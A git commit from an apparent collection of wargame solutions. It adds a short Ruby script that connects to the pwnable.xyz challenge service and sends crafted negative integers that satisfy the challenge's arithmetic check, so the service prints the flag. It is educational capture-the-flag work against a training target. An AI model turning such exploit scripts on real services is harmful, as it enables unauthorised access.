pwnables

solutions for several pwnables and wargames
Log | Files | Refs | Feed | README

commit c0c56f2de75d9fcb073dcd47804dbd07578555db
parent c93a8b14685ccd479ef37afff1d8040edf4f037b
Author: Jenny Doe <tng@soykaf.me>
Date:   Thu,  2 May 2019 19:06:23 +0200

added: sub.rb

Diffstat:
Mreadme | 1+
Asub.rb | 23+++++++++++++++++++++++
2 files changed, 24 insertions(+), 0 deletions(-)

diff --git a/readme b/readme @@ -1,3 +1,4 @@ pwnable.xyz * welcome.rb +* sub.rb diff --git a/sub.rb b/sub.rb @@ -0,0 +1,23 @@ +require 'net/telnet' + +nc = Net::Telnet.new('Host' => 'svc.pwnable.xyz', + 'Port' => 30_001) + +################################################### +# # +# Why '-1 -4920' and not '4920 1'? # +# # +# In objdump, we can see that in order to win, # +# we must obey the following constraints: # +# # +# (1.) x <= 0x1337 # +# (2.) y <= 0x1337 # +# (3.) x - y = 0x1337 # +# # +################################################### + +nc.cmd('-1 -4920') do |c| + puts c.gsub(/.*?(?=FLAG)/im, '') if c =~ /FLAG/ +end + +nc.close